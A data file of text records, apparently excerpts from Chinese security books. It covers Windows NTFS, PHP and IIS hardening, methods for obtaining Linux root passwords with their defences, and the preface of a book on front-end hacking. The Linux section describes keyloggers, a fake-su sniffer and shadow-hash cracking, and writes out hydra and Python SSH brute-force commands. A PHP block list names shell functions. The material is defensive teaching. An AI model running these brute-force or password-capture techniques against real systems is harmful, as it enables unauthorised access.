    {"text": "如图8-70所示，勾选“拒绝将磁盘空间给超过配额限制的用户”这个选项，同时把将磁盘空间限制为1kb，同时设置将警告空间限制为1kb，然后勾选“用户超出配额限制时记录事件”和“用户超过警告时记录事件”这两个选项。 这样，如果系统中有其他用户超出了分区的警告等级和配额限制，系统将把这些事件自动记录到系统日志当中，这非常有利于管理员对系统分区空间的监控。 如图8-70和图8-71所示，我们可以看到没有启用限额和启用磁盘配额以后的区别，启用磁盘配额以后，无法向这个分区写入大于配额的文件，并且这个配置对系统中所有的用户生效，包括Administrators组中的用户。 图8-70 未启用磁盘配额 图8-71 启用磁盘配额管理 如图8-72所示，Administrator组中的用户也不能写入文件了。"},
    {"text": "右键单击“我的电脑”图标，从弹出快捷菜单中选择“管理”选项，然后依次单击“系统工具”→“事件查看器”→“系统”选项，查看日志记录，如图8-73所示。"},
    {"text": "图8-72 管理员也无法复制文件 图8-73 使用事件管理器查看事件 技巧 （1）启动IIS需要的账号是“IUSR_计算机名”，如果我们建立网站的话，对应的访问者应该也是这个账号，所以，这里可以设置成“IUSR_计算机名”用户不能写入文件，但是其他用户能够写入文件。"},
    {"text": "（2）开启FTP服务，然后给FTP服务一个普通的账号和密码，把Web服务器的对应目录的读写权限赋予这个普通用户，然后利用磁盘配额功能让这个用户可以写入，这样就达到了一个非常高的安全性。"},
    {"text": "选择FTP用户ftpuser，然后把磁盘空间限制设置成100MB，如图8-75所示。 同理，选择“IUSR＿计算机”这个账号，把磁盘限额的空间设置成1kb。"},
    {"text": "同时，我们不希望访问用户利用黑客手段对服务器进行文件上传等操作，这时就可以利用磁盘配额功能添加ftpuser账号，这个账号可以利用FTP软件对Web目录进行服务器的维护工作，这样就达到了非常高的安全标准。"},
    {"text": "8.11.3 NTFS详解之Windows权限 下面我们了解一下NTFS分区Windows权限的基本概念及用法。 1．NTFS访问规则控制 NTFS的另一个非常重要的功能是对磁盘或者文件和文件夹的访问规则进行控制，即Windows的权限。 Windows的权限大体上可以分为完全控制、修改、读取和运行，以及列出文件夹目录、读取、写入、特别的权限。"},
    {"text": "（3）读取和运行权限 “读取和运行”就是允许读取和运行目录下的任何文件，“列出文件夹目录”和“读取”是“读取和运行”的必要条件。 （4）列出文件夹目录权限 “列出文件夹目录”是指只能浏览该卷或目录下的子目录，不能读取，也不能运行。 （5）读取权限 “读取”是指能够读取该卷或目录下的数据。 （6）写入权限 “写入”就是能向该卷或目录中写入数据。"},
    {"text": "3．NTFS的特性 （1）权限的继承性 权限的继承性就是下级文件夹的权限设置在未重设之前是继承其上一级文件的权限设置的，更明确地说，就是如果一个用户对某一文件夹具有“读取”的权限，那么这个用户对这个文件夹的下级文件夹同样具有“读取”的权限，除非打断这种继承关系，重新设置。"},
    {"text": "但要注意，这仅是对静态的文件权限来讲，对文件或文件夹的移动或复制，其权限的继承性依照如下原则进行。 • 在同一NTFS分区内复制或移动：在同一NTFS分区内复制时，它的访问权限是和原文件或文件夹的访问权限不一样的。 但在同一NTFS分区内移动一个文件或文件夹时，其访问权限保持不变，即继承移动前的访问权限。 • 在不同NTFS分区间复制或移动：在不同NTFS分区间复制文件或文件夹，访问权限会随之改变，复制的文件不是继承原权限，而是继承目标（新）文件夹的访问权限。 同样，如果是在不同的NTFS分区间移动文件或文件夹，则访问权随着移动而改变，即继承移动后所在文件夹的权限。 • 从NTFS分区复制或移动到FAT分区：因为FAT格式的文件或文件夹根本没有权限设置项，所以原来的文件或文件夹也就不再有访问权限配置了。 （2）权限的累加性 NTFS文件或文件夹的权限累加性具体表现在以下方面。 • 工作组权限由组中各用户权限累加决定：如一个组Group1中有两个用户User1、User2，他们对某文件或文件夹的访问权限分别为“只读”和“写入”，那么组Group1对该文件或文件夹的访问权限就为User1和User2的访问权限之和，实际上是取其最大的那个，即“只读+写入＝写入”。 • 用户权限由所属组权限的累加决定：如一个用户User1同时属于组Group1和Group2，而Group1对某一文件或文件夹的访问权限为“只读”，而Group2对这一文件或文件夹的访问权限为“完全控制”，则用户User1对该文件或文件夹的访问权限为两个组权限累加所得，即“只读+完全控制＝完全控制”。 （3）权限的优先性 权限的这一特性包含两种子特性：一是文件的访问权限优先于文件夹的权限，也就是说，文件权限可以越过文件夹的权限，不顾上一级文件夹的设置； 二是“拒绝”权限优先于其他权限，也就是说，“拒绝”权限可以越过所有其他权限，一旦选择了“拒绝”权限，则其他权限不能起任何作用，相当于没有设置。"},
    {"text": "• 文件权限优先于文件夹权限：如果用户USER1对文件夹Folder A的访问权限为“只读”，在这个文件夹下有一个File1文件，则可以对这个文件File1设置权限为“完全控制”，而不顾它的上一级文件Folder A的权限设置情况。 • “拒绝”权限优先其他权限：如果一个用户User1同时属于组Group1和组Group2，其中组Group1对文件File1（或文件夹）的访问权限为“完全控制”，而用户Group2对文件File1的访问权限设置为“拒绝访问”，那么根据这个特性，User1对文件File1的访问权限为“拒绝访问”，而不管工作组Group1对这个文件设置了什么权限。 （4）访问权限和共享权限的交叉性 当同一文件夹在为某一用户设置了共享权限的同时，又为用户设置了该文件夹的访问权限，且所设权限不一致时，它的取舍原则是取两个权限的交集，即最严格、最低的权限。 例如，文件夹Folder A为用户User1设置的共享权限为“只读”，同时，文件夹Folder A为用户User1设置的访问权限为“完全控制”，那么用户User1的最终访问权限为“只读”。"},
    {"text": "当然，这个文件夹只能是在NTFS文件格式的分区中，FAT格式的分区中不存在“访问”权限（因为FAT文件格式的文件夹没有本地访问权限的设置）。"},
    {"text": "8.11.4 变态Windows权限配置 图8-76 普通磁盘用户的权限 下面介绍变态Windows权限配置的相关内容。 1．常见提权方法 如果想把Windows权限配置得变态，必须了解现在常见的提权方法。"},
    {"text": "3．设置c:\\Documents and Settings的权限 设置c:\\Documents and Settings的权限时，同样只保留Administrator和SYSTEM权限。 虽然设置了“Documents and Settings”目录的权限，但是目录下的文件还是具有自己的权限，如图8-77所示。"},
    {"text": "在“Documents and Settings”的“Administrator”目录下可以看到默认权限只有Administrator、Administrators和SYSTEM，所以这里不需要修改了。 继续看“All Users”目录，默认权限不小，所以还是保留Administrator和SYSTEM。 了解了上面的步骤以后，依次对“All Users”下面的所有目录（注意：这里是所有目录）都只保留Administrator和SYSTEM权限。 图8-77 设置c:\\Documents and Settings的权限 4．设置c:\\program and files目录的权限 同理，c:\\program and files目录也只保留Administrator和SYSTEM权限。"},
    {"text": "图8-78 设置c:\\program and files目录的权限 5．设置inetsrv目录的权限 如果服务器安装了IIS，会在c:\\windows\\system32目录下创建一个“inetsrv”目录，这里有个文件夹叫“ASP Compiled Templates”，如图8-79所示，IIS的启动用户“IUSR_计算机名”具有完全控制权限。"},
    {"text": "首先，许多应用程序把上传的临时目录设置成这里，所以这个目录必须有可写权限，但是如果设置成可写，黑客能够通过在这里上传cmd.exe等程序进行提权。"},
    {"text": "其次，一些服务器的虚拟管理软件，如hzhost默认把Session写入这里，这样就造成了安全隐患。 因为Session中可能包含虚拟机的用户和密码，所以读权限也要谨慎设置。"},
    {"text": "对企业或者个人服务器没有安装hzhost等软件的情况，设置成如图8-80所示的权限，把所有用户删除，保留Administrator和SYSTEM，然后添加Everyone修改、读取及运行，列出文件目录、读取、写入权限。 图8-80 设置c:\\windows\\temp目录的权限 到这里，我们就完成了NTFS的基本配置，这样设置的安全性会大大提高。 8.12 Windows下PHP+MySQL+IIS安全平台的高级配置 经过前面的学习可以了解IIS+MySQL+PHP的基本配置过程和Windows的基本权限设置，下面介绍PHP的安全配置、Web目录的安全配置及IIS的高级安全配置。"},
    {"text": "例如，将图片目录设置成不能运行PHP，这样就算网站有被登录后台的危险，黑客能够上传文件，最终也不能执行WebShell； 就算黑客拿到了WebShell，也无法读目录或者文件，不能执行命令。 换句大话就是：强大的WebShell在黑客手上没有任何利用价值。"},
    {"text": "由于Web网站是PHP的，很多默认的选项是不安全的，给黑客留下了非常多的可利用机会，所以，首先必须要把php.ini设置得变态些，这样就能阻止一般脚本黑客的攻击了。"},
    {"text": "• 值（value）：可以是用引号界定的字符串（如“foo”）、一个数字（整数或浮点数，如0、1、34、 -1、33.55）、一个PHP常量（如E_ALL、M_PI）、一个INI常量（如On、Off、none）、一个表达式（如“E_ALL& ～E_NOTICE”）。"},
    {"text": "图8-81 php.ini文件参数 8.12.2 php.ini参数的安全设置 了解了基本的概念以后，我们就可以开始高级配置之旅。 下面分别介绍php.ini中涉及安全的重要参数。"},
    {"text": "register_ globals的意思是注册为全局变量，所以当它开启的时候，传递过来的值会被注册为全局变量直接使用，而当它关闭的时候，我们需要到特定的数组里去得到它。 从众多PHP漏洞来看，一大部分是在register_globals开启的时候被利用的，所以强烈建议将这个参数修改成“Off”。"},
    {"text": "如果把magic_quotes_gpc参数设置成“Off”，那么PHP就不会对“'”（单引号）、“\"”（双引号）、“\\”（反斜线）和空字符进行转义，这样就可能造成服务器非法注入。 但是，如果把magic_quotes_gpc设置成“On”，如果$_POST、$＿GET、$＿COOKIE提交的变量中有上面4种字符，PHP就会给它们加上“\\”，这样可以大大提高PHP的安全。 强烈推荐将magic_quotes_gpc设置为“On”。"},
    {"text": "PHP的安全模式是一个非常重要的内嵌安全机制，能够控制PHP中的一些函数，如system()等，同时对很多文件操作函数进行了权限控制，也不允许对某些关键文件的文件进行操作，如/etc/passwd。"},
    {"text": "使用open_basedir选项能够控制PHP脚本只能访问指定的目录，这样能够避免PHP脚本访问不应该访问的文件，在一定程度上降低了WebShell的危害。 一般可以设置为只能访问网站目录，命令为“open_basedir = E:\\test”。"},
    {"text": "使用disable_functions参数可以限制一些对于系统来说威胁很大的函数，如我们在第一部分中看到的phpinfo()函数可以看到关于PHP的环境变量等，还可以利用system、exec等函数执行系统命令等。 在这里我们推荐过滤的函数有disable_functions=phpinfo、passthru、exec、system、chroot、scandir、chgrp、chown、shell_exec、proc_Open、proc_get_status、ini_alter、ini_alter、ini_restore、dl、pfsockopen、openlog、syslog、readlink、symlink、popepassthru、stream_socket_server。"},
    {"text": "Windows平台下的PHP脚本平台存在一个安全漏洞，使得PHP设置即使在安全模式下（safe_mode）仍然允许攻击者使用COM()函数来创建系统组件，进而执行任意命令。 漏洞出现的原因是，在安全模式下的PHP平台虽然system()、pathru()函数被禁止，但是com.allow_dcom参数的设置依旧为“True”，以至于攻击者可以使用COM()函数创建系统组件对象来运行系统命令。"},
    {"text": "这个参数决定是否暴露PHP被安装在服务器上。 如图8-82所示，如果这个参数设置为“On”，就会把PHP的版本等泄露，推荐值是“Off”。 图8-82 是否暴露PHP 参数基本上介绍完了。 当然，php.ini还有其他内容需要配置，但大部分都与安全无关，而是与PHP运行的效果有关，如优化等。"},
    {"text": "注意 修改php.ini以后，必须重新启动IIS，否则设置的内容将不会生效。 8.12.3 IIS指定目录运行或者不运行PHP 配置完php.ini，虽然已经相当安全了，但最重要的设置还是在IIS上。"},
    {"text": "IIS可以限制某些用户的登录，同时可以通过为数据增加SSL（安全套接层）来增强数据在传输过程中的安全性。 可以利用IIS限制某些应用程序，如PHP的执行规则让PHP只能运行在指定的目录中，而其他的目录中是不能执行PHP的，这个规则可以运行文件上传目录、读取图片文件，但不能运行PHP文件。"},
    {"text": "如图8-83所示，可以看到网站和网站的资源，画线部分是网站目录，2008.php是程序文件。 图8-83 网站目录和文件 在网站根目录中新建一个目录，如“images”目录，然后在“images”目录下建立一个2009.php文件，内容是phpinfo的内容，如图8-84所示，能够正常访问并执行，说明程序运行了。 图8-84 运行2009.php程序 要达到的目的是让这个目录不支持PHP的执行，有以下两种方法。 第一种是打开IIS信息服务管理器和网站，找到新建的目录，打开目录的属性对话框，如图8-85所示，在“执行权限”下拉列表中有3个选项，分别是“无”、“纯脚本”和“脚本和可执行文件”。"},
    {"text": "刷新页面，重新运行2009.php程序，如图8-86所示，页面就无法运行了。 图8-85 设置执行权限 图8-86 不能运行2009.php程序 第二种办法是利用应用程序池来配置，具体的实现方法如图8-87所示，单击“创建”按钮，即可创建一个和网站名字相同的应用程序池。 图8-87 创建应用程序池 单击“配置”按钮，出现如图8-88所示的“应用程序配置”文本框，将“应用程序扩展”列表框中的“.php”扩展删除，就不能运行PHP脚本了。 图8-88 配置应用程序池 再次刷新，运行程序，就会出现404错误，而图片仍然可以访问，如图8-89所示。"},
    {"text": "例如，我们要配置的目录是admin，打开“admin属性”文本框，如图8-90所示，切换到“目录安全性”选项卡。 图8-90 设置目录安全 单击“身份验证和访问控制”设置区的“编辑”按钮，如图8-91所示，勾选“集成Windows身份验证”选项，取消勾选“启用匿名访问”选项，然后单击“确定”按钮。 图8-91 设置身份验证方法 再次访问就出现了如图8-92的对话框，要求输入Windows服务器上的用户和密码。"},
    {"text": "图8-92 授权最小权限用户访问 依次单击“开始”→“运行”选项，输入“cmd”，然后在CMD环境中输入“net user test test/add”命令，添加test用户到系统中。 下面需要降低test用户的权限，右键单击“我的电脑”图标，在弹出的快捷菜单中选择“管理”选项，如图8-93所示，右键单击新建的test用户，在弹出的快捷菜单中选择“属性”选项，为其中设置用户密码永不过期，然后选择“拨入”选项，设置拒绝访问。 单击“确定”按钮回到刚才的目录中，输入新建的用户名和密码就可以正常查看网页了。 图8-93 设置用户权限 8.12.5 设置服务器只支持PHP脚本 设置服务器只支持PHP脚本，如图8-94所示，只留下“.php”的扩展名就可以了，其他全部删除。 当然，如果服务器需要支持ASP和ASP.NET，可以只留下ASP、ASP.NET和PHP就行了，其他全部删除。"},
    {"text": "打卡改目录的属性对话框，如图8-95所示，在“test属性”对话框中将“IUSR_计算机名”添加进来，这个账号是IIS匿名用户的访问账号（注意：框中部分一定不要选择，否则黑客就能上传WebShell到网站目录了）。 但是这样设置仍然不够，如网站需要上传图片的时候就无法操作了，这个时候我们需要把图片目录设置成可写权限，如图8-96所示。 同时，结合前面的设置，把这个目录设置成不能执行PHP，这样就实现了目录的变态配置。"},
    {"text": "图8-95 为特定目录网络用户授权 图8-96 设置图片目录不运行脚本 8.13 Linux操作系统root账号密码获取防范技术研究 Linux操作系统由于其开源性、低成本等特点，在商业上运用越来越多，很多公司都采用LAMP（Linux+Apache+MySQL+PHP）典型架构。"},
    {"text": "在Windows中，不论设置多么复杂的密码，都可以通过彩虹表、键盘记录、mimikatz_trunk域名注入获取密码等技术获取包括Windows 2008 Server在内的所有操作系统密码。"},
    {"text": "在获得网站WebShell权限的前提下，通过提权等方法可以获得系统权限，通过查看“/etc/shadow”文件的内容可以获取Linux操作系统的用户名和加密密码，但获取最高权限root用户的密码就比较困难。"},
    {"text": "本节的主要研究内容包括：使用普通用户权限记录root密码，使用SSH后门方法记录root密码，安装Rootkit后门程序记录root账号密码，通过John工具破解shadow密码，专用Sulog后门记录SU密码。"},
    {"text": "1．Linux密码构成 在Linux系统中，涉及系统登录密码的重要文件有两个，分别是“/etc/passwd”和“/etc/shadow”，第一个文件记录用户信息，第二个文件真正保存用户密码信息。"},
    {"text": "在“/etc/passwd”文件中，每一行表示一个用户的信息，一行有7个段位，每个段位用冒号分割。 下面是一个Linux系统中的“/etc/passwd”文件的两行，其格式为“username:x:UID:GID:username full:username home:shell type”。"},
    {"text": "“/etc/shadow”文件是“/etc/passwd”的影子文件，这个文件并不是由“/etc/passwd”产生的，这两个文件应该是对应互补的。 shadow的内容包括用户名及被加密的密码，以及其他“/etc/passwd”文件中不能包括的信息，如用户的有效期限等。"},
    {"text": "• 第1字段：用户名（也称为登录名），“/etc/shadow”文件中的用户名和“/etc/passwd”文件中的用户名是相同的，这样就把passwd和shadow中使用的用户记录联系在一起，这个字段是非空的。"},
    {"text": "• 第7字段：口令过期之后多少天禁用此用户。 此字段表示用户口令作废多少天后系统会禁用此用户，也就是说，系统不再让此用户登录，也不会提示用户过期，而是完全禁用。 • 第8字段：用户过期日期。 此字段指定了用户作废的天数（从1970年1月1日开始的天数），如果这个字段的值为空，则账号永久可用。"},
    {"text": "某系统root账号在“etc/shadow”文件中的表现方式为“root:$1$kbIAhX/R$PiLL1U.n6bivtIr4o Ti2y0:15377:0:99999:7:::”。"},
    {"text": "2. Linux密码文件位置 绝大部分Linux操作系统的密码文件名称为shadow，但也有一些特殊的Linux/UNIX操作系统的密码文件名称为passwd，而且密码文件所在位置也不一样。 下面是一些常见Linux系统的密码文件位置。"},
    {"text": "• OSF/1：/etc/passwd。 • HP-UX：/.secure/etc/passwd。 • BSD 4.x：/etc/master.passwd。 • AIX3：/etc/security/passwd。 • IRIX5：/etc/shadow。"},
    {"text": "Linux操作系统的密码采用的加密方式，取决于“/etc/pam.d/system-auth”或者“/etc/pam.d/passwd”文件中的定义，通过“more/etc/pam.d/system-auth”或者“authconfig--test| grep hashing”命令可以获取操作系统使用哪种加密算法，目前有SHA-256、SHA-512和MD5加密算法。 在Red Hat Enterprise Linux Server中，可以通过“authconfig--test| grep hashing”命令获取当前系统账号的密码加密算法，如图8-97所示。 图8-97 获取Red Hat Enterprise Linux Server系统账号加密算法 2．Linux/UNIX采用5种加密算法 Linux/UNIX操作系统目前采用5种加密算法，可以通过加密后的密码值来识别，主要是通过账号后面的＄X进行判断。"},
    {"text": "$1表示MD5加密算法，$2表示使用Blowfish加密算法，$5表示使用SHA-256加密算法，$6表示使用SHA-512加密算法，其余为标准的DES。 例如，“root: $1$kbIAhX/R$PiLL1U. n6bivtIr4oTi2y0:15377:0:99999:7:::”的加密算法为MD5。"},
    {"text": "3．Linux密码操作 对于Linux密码操作，主要有增加、删除和修改，第一次添加用户时需要设定一个密码，修改密码使用“passwd”，删除用户时系统将自动删除设置的密码。"},
    {"text": "1．键盘记录获取法 根据操作系统内核版本，编译一个修改过的SSH或者内核键盘记录软件，早期的键盘记录软件有Keylogger、Keylog等。 在root账号下通过编译键盘记录程序或者执行编译好的键盘记录程序，当root用户登录时，程序自动捕获root账号输入的密码。"},
    {"text": "如果被控服务器是Linux服务器，目前通过开源软件比较难抓取SSH的密码（需要进行中间人攻击，Dsniff不具备中间人攻击的能力，而Windows下的Cain已实现伪造证书进行中间人攻击），所以，可以变通地通过抓取其他服务的密码获取root密码，如FTP、SMB。"},
    {"text": "（1）fakesu.c程序法 网上使用的kpr-fakesu.c（简称fakesu.c）程序由koper（koper@linuxmail.org）开发，程序最新版本为V0.9beta167。"},
    {"text": "该程序是在WebShell权限或者拥有普通账号的权限下，通过修改该程序中的配置文件，当前用户使用SU命令时，捕获具有root账号权限的密码，如图8-98所示。"},
    {"text": "4．暴力破解法 （1）在线网站破解法 通过提权或者其他方法获取root权限后，通过查看“/etc/shadow”文件的内容，将加密的密文提取出来，访问cmd5网站进行破解。 需要注意的是，提取的密文为第2字段，如“root: $1$kbIAhX/R$PiLL1U.n6bivtIr4oTi2y0:15377:0:99999:7:::”中的密文为“$1$kbIAhX/R$PiLL1U.n6bivtIr4oTi2y0”，将其放入cmd5网站进行破解即可，如图8-99所示。"},
    {"text": "图8-99 通过cmd5网站在线破解Linux密码 （2）John软件破解法 John the Ripper Password Cracker（简称John）是一款Linux专用密码破解工具，网站地址为http://www.openwall.com/john/。"},
    {"text": "SSH是一项创建在应用层和传输层基础上的安全协议，为计算机上的Shell（壳层）提供安全的传输和使用环境。 SSH是目前较可靠的、专为远程登录会话和其他网络服务提供安全性的协议。 利用SSH协议可以有效防止远程管理过程中的信息泄露问题。 通过SSH可以对所有传输的数据进行加密，也能够防止DNS欺骗和IP地址欺骗。 SSH是Linux下最常见的一个服务，绝大多数操作系统安装后都会配置该服务。"},
    {"text": "通过连接SSH服务远程管理计算机，其默认端口为22. Freebuf网站投稿者H3lvin的研究表明，10年前，一台服务器放在网络上，大概数周的时间才会被黑客光顾，而现在，一台服务器在网络中几个小时之内就会有黑客尝试攻击，且SSH暴力破解攻击经久不衰。"},
    {"text": "常见的专业暴力破解软件有thc-hydra和relaxscan. thc-hydra的最早版本为7.6（下载地址为https://www.thc.org/thc-hydra/），是一款著名的暴力破解工具，其常见SSH暴力破解命令为“hydra-l root-P/home/Linux/passwd.dic-e ns-f-vV target_ip ssh2”。 Relaxscan是专门针对SSH账号进行暴力的工具，linuxfly网站提供了该程序的详细使用方法。 SSH账号脚本暴力工具通过编程模拟实际登录进行暴力破解，常见的有theRandy撰写的SSH暴力破解程序，在Linux下通过执行“python sshCommand2.py-H 10.10.1.36-u root-F dictionary. txt”命令对IP地址为10.10.1.36的服务器的root账号进行密码暴力破解。"},
    {"text": "8.13.4 Linux root账号密码防范技术 针对可能出现的获取Linux root账号的技术，可以通过安全防范技术和安全规范等进行防范，本节给出一些可供参考的方法和策略。"},
    {"text": "1．安全技术防范 （1）设置强健的账号密码安全策略 针对获取shadow值后进行密码破解，可以采取对系统普通账号和root账号设置强健的密码安全策略，定期执行安全检测和维护来防范。"},
    {"text": "（2）定期升级系统补丁和应用程序补丁 对高风险业务程序做降权处理，尽量以低权限运行，如JBoss和Structs等，确保即使出现高危漏洞也不会危及root权限。 及时更新系统补丁和应用程序补丁，关注安全业界高危漏洞，防范通过Web应用程序漏洞直接获取root权限。 （3）定期对系统进行Rootkit专用检测 针对Rootkit程序可以通过Rootkit检测程序来防范，互联网上有Rootkit Hunter和Chkrootkit两款开源软件，可以检测绝大部分已知的Rootkit、嗅探和后门程序。 2．SSH账号防暴力破解 有关防范SSH账号被暴力破解，网上已经有很多方法，如修改SSH默认端口、采用RSA公钥认证、使用IPTables脚本、使用SSHD日志过滤、使用tcp_wrappers过滤及使用knockd等方法。 3．建立完善的入侵应急响应制度 对重点系统和重要系统定期聘请专业安全公司进行系统风险评估和安全检测，发现系统存在的漏洞和弱点，针对这些弱点和漏洞进行改进。 同时，建立入侵应急响应制度，针对各种可能出现的入侵情况，建立相应的处理措施。"},
    {"text": "8.13.5 小结 本节介绍了Linux密码的基本原理，介绍了常见的Linux root密码获取的4种方法，最后针对这些可能获取Linux root账号的方法给出了安全防范技术和防范策略。 通过这些安全技术和策略，可以大大降低系统被攻击后获取最高root账号权限的风险，对Linux操作系统的安全维护和检测具有一定的参考价值。"},
    {"text": "内容简介 Web前端的黑客攻防技术是一门非常新颖且有趣的黑客技术，主要包含Web前端安全的跨站脚本（XSS）、跨站请求伪造（CSRF）、界面操作劫持这三大类，涉及的知识点涵盖信任与信任关系、Cookie安全、Flash安全、DOM渲染、字符集、跨域、原生态攻击、高级钓鱼、蠕虫思想等，这些都是研究前端安全的人必备的知识点。"},
    {"text": "本书适合前端工程师阅读，同时也适合对Web前端各类安全问题或黑客攻防过程充满好奇的读者阅读，书中的内容可以让读者重新认识到Web的危险，并知道该如何去保护自己以免受黑客的攻击。"},
    {"text": "序1 有人说互联网是由人组成的，也有人说互联网是由代码组成的。 如果说互联网是由代码组成的，那么Web前端代码占据着互联网至少半壁江山；"},
    {"text": "“练练武功”不但可以防身，更能强身健体，这本书是我看到他们一路写成的，前后用了一年多的时间，花费了无数心血，写得非常细致，我预先读了本书，不敢独藏，与君共享。"},
    {"text": "…… 可以说，未来的互联网在很大程度上将由HTML+JavaScript+CSS构成，而安全是互联网发展的基础，互联网安全将在很大程度上取决于Web前端安全，如果前端失陷，我们的个人隐私、在线支付信息等都将受到莫大的挑战。"},
    {"text": "本书非常系统地讲解了Web相关的安全问题，图文并茂，理论和实战面面俱到，而且非常难得的是，书中有很多意想不到的“黑客”思路，这些思路非常具有实战性和前瞻性。"},
    {"text": "如果你是开发人员，保护客户的隐私是第一天职，那么看看这本书吧，它能教你如何编写安全的应用。 如果你是普通网民，要保障自己的安全，需要看看我们都面临什么挑战，那么看看这本书吧，它能让你明白平常应该注意什么。 如果你是善意的黑客，想换换思路，看看这本书吧，它能给你意想不到的视角和思路。"},
    {"text": "而这个时候的Web安全随着2005年由当时年仅19岁的天才Samy Kamkar在MySpace上爆发了历史上第一个XSS Worm震惊了整个世界，由此也宣告Web安全正式步入Web 2.0时代。"},
    {"text": "这个时代的安全关注点已经由服务端全面转向了客户（前）端，浏览器替换Web服务器成为安全战争的主要战场，而前端常用的HTML、JavaScript、CSS、Flash等则成为安全战场的有力武器，浏览器挂马、XSS、CSRF、ClickJacking等成了主流的攻击手段。 有攻击就有防御，面对Web 2.0时代的安全问题，Web 1.0时代的防御体系显得力不从心，很多安全从业者们都在思考和尝试新的防御手段，一场基于前端黑客攻防战就此拉开序幕…… 作为一名资深的“脚本小子”，我有幸经历了Web安全由Web 1.0向Web 2.0转变的整个过程，也目睹了很多致力于Web 2.0安全技术研究的公司诞生及发展的过程，并结识了一大群优秀的Web安全研究者，其中就有本书的两位作者：钟晨鸣先生和徐少培先生。"},
    {"text": "而徐少培先生所在的北京天融信科技有限公司，是一家经历了Web 1.0时代的传统的信息安全公司，随着Web 2.0时代的安全挑战，也使他们的研究人员投身于这个领域，由此培养了一大批技术精湛的安全研究者。 徐少培先生就是其中之一，他对Web 2.0安全技术有着深入的研究，尤其是在HTML 5的安全领域，他一直处于领先的地位。"},
    {"text": "另外，对于Web 2.0安全技术题材的书，在中国图书市场上是不多见的，纯技术分享的书籍更是寥寥无几，而他们的尝试显然是成功的！ 本书是一本纯技术的关于Web 2.0时代安全的专业书籍，从浏览器战场到前端的各种武器及攻击手段，再转到防御技术，都做了专业详细的展示。"},
    {"text": "superhei 2012年10月18日\n前言 安全之路任重道远，前端安全是众多安全中的一个分支，互联网上各种网站让人眼花，千奇百怪的业务需求、安全问题，真要做好安全架构又谈何容易呢？"},
    {"text": "本书点透了很多关键的点，每个点的内容不一定覆盖完全，也不一定用了足够的文字进行描述，往往适可而止，但这些点却是Web前端安全基石的重要组成，如：信任与信任关系、Cookie安全、Flash安全、DOM渲染、字符集、跨域、原生态攻击、高级钓鱼、蠕虫思想等。"},
    {"text": "另外，我们认为，本书的知识点足以打开Web前端黑客的大门，有了这些沉淀后，大家完全可以持续跟进国内外优秀的技术文章与案例进行内功修炼，并在各种实战中不断加强。"},
    {"text": "网站安全是一个大问题，安全关注点也在逐渐转移，从刚开始的服务端安全，如缓冲区溢出、CGI解析缺陷、纯Web层面的SQL注入等，到客户端安全，如XSS跨站脚本、CSRF跨站请求伪造等。"},
    {"text": "界面操作劫持需要很好的美工基础，因此，你让一个黑客去搞美工是不太现实的，因为现在有很多好的方式可以黑下目标。 所以，本书关于界面操作劫持的内容更多的是具有研究性质的，而很少用于真正的攻击，即使我们已经完成了一些很有意义的攻击事件（比如，针对Google Reader的蠕虫事件），但都是善意的，在真正的黑客攻击活动中，这样做的可能性很小。"},
    {"text": "■ 为什么进行前端黑客研究 Web从Web 1.0到Web 2.0，一个用户参与度与黏性都很高的Web时代，且Web 2.0又细分出许多不同的领域（微博、旅游、交友、餐饮、医疗、购物等），各种海量的隐私数据可以在这些Web 2.0网站中找到。 前端黑客是随着这个趋势发展起来的，通过前端黑客技巧，往往很容易就掌控了目标用户的隐私数据。 另外，攻击时获取各种隐私数据或者破坏数据，其实很多时候都可以在前端攻击中完成，而且目前看来由于安全意识的问题，很多安全焦点都还在服务端，比如，OS（操作系统）加固得如何、数据库加固得如何、SQL查询是否参数化了、是不是存在弱口令等。 那么，前端安全就被忽略了，在某些场景中，前端漏洞，比如一个XSS漏洞的价值就很大，而且前端攻击同样也可以大规模地进行，造成很大的影响。"},
    {"text": "■ 阅读指南 本书共10章，每章的关联性不强，大家可以根据自己的喜好跳跃性地阅读，不过我们建议从头到尾地阅读，因为每章的信息量都比较大，我们没法完全照顾初学者，很多更基础的知识点需要自己去弥补。"},
    {"text": "实际上，其中的很多内容并非真正的基础，本书不会像传统的教材那样回顾那些语言的语法、用法等，我们会从安全的角度出发，介绍前端角色（URL、HTTP、HTML、JavaScript、CSS、ActionScript等）的行为，以此来理解做前端安全都需要具备哪些基本技能，我们觉得基础是关键，所以本章内容会比较多。 第3章介绍前端黑客之XSS，第4章介绍前端黑客之CSRF，第5章介绍前端黑客之界面操作劫持，这几章的内容都不多，但却是理解XSS、CSRF、界面操作劫持的关键，为更好地理解后面的章节打好基础。"},
    {"text": "这是难度非常大的部分，我们不可能涵盖完全，甚至有些知识点我们都无法详细介绍，只是尽可能地将我们的经验与大家分享，其中涉及很多漏洞挖掘思想与技巧，需要大家仔细理解，同时希望大家能够举一反三，激发出更多的挖掘思路。"},
    {"text": "实际上就是Web 2.0里发生的蠕虫攻击，包括XSS蠕虫、CSRF蠕虫、ClickJacking蠕虫等，其中的案例都很经典，这基本属于前端黑客攻击的中级篇，而高级篇属于某些真正的前端黑客渗透实战。"},
    {"text": "黑客不是专搞攻击的，在之前的一些章节中，我们在介绍攻击时，有必要也会提到防御，同时我们专门在本章从三个角度出发（浏览器厂商、Web厂商、用户），给出了更多的防御建议，作为全书的终结。"},
    {"text": "而我认为是他感染了我，要不是他，本书很难问世，他是一个做事认真，又喜欢养各种奇怪小动物的人，他虽然身在传统安全厂商，但却有一颗做互联网的心。"},
    {"text": "感谢XEYE团队的其他成员，他们很低调，名字都不让我提，但是熟悉的人都认识他们，他们是一群可爱的人，能和他们结交是我的幸运，我们每次相聚总有一种亲切感，这是一个难得的团队。"},
    {"text": "感谢那些为本书添砖加瓦的人，还有微博、QQ群里以及身边那些支持我的朋友们，以及为Web前端安全发展做出各种贡献的跨站师们，本书的很多灵感来源于他们。"},
    {"text": "为了生存，我们在传统的安全市场上和竞争对手抢江山，现在我们又在互联网上攻城略地，一个还不大的团队做了很多事，因为我们的愿景是让互联网更好、更安全，我们会一直努力下去。"},
    {"text": "最后我想说的是，这本书倾尽了我们的心血，在引领读者走进Web前端安全的同时，如果还能有幸提升Web安全界的整体水平，那我们将感到无比荣耀。"},
    {"text": "1.1 数据与指令 用浏览器打开一个网站，呈现在我们面前的都是数据，有服务端存储的（如：数据库、内存、文件系统等）、客户端存储的（如：本地Cookies、Flash Cookies等）、传输中的（如：JSON数据、XML数据等），还有文本数据（如：HTML、JavaScript、CSS等）、多媒体数据（如：Flash、MP3等）、图片数据等。"},
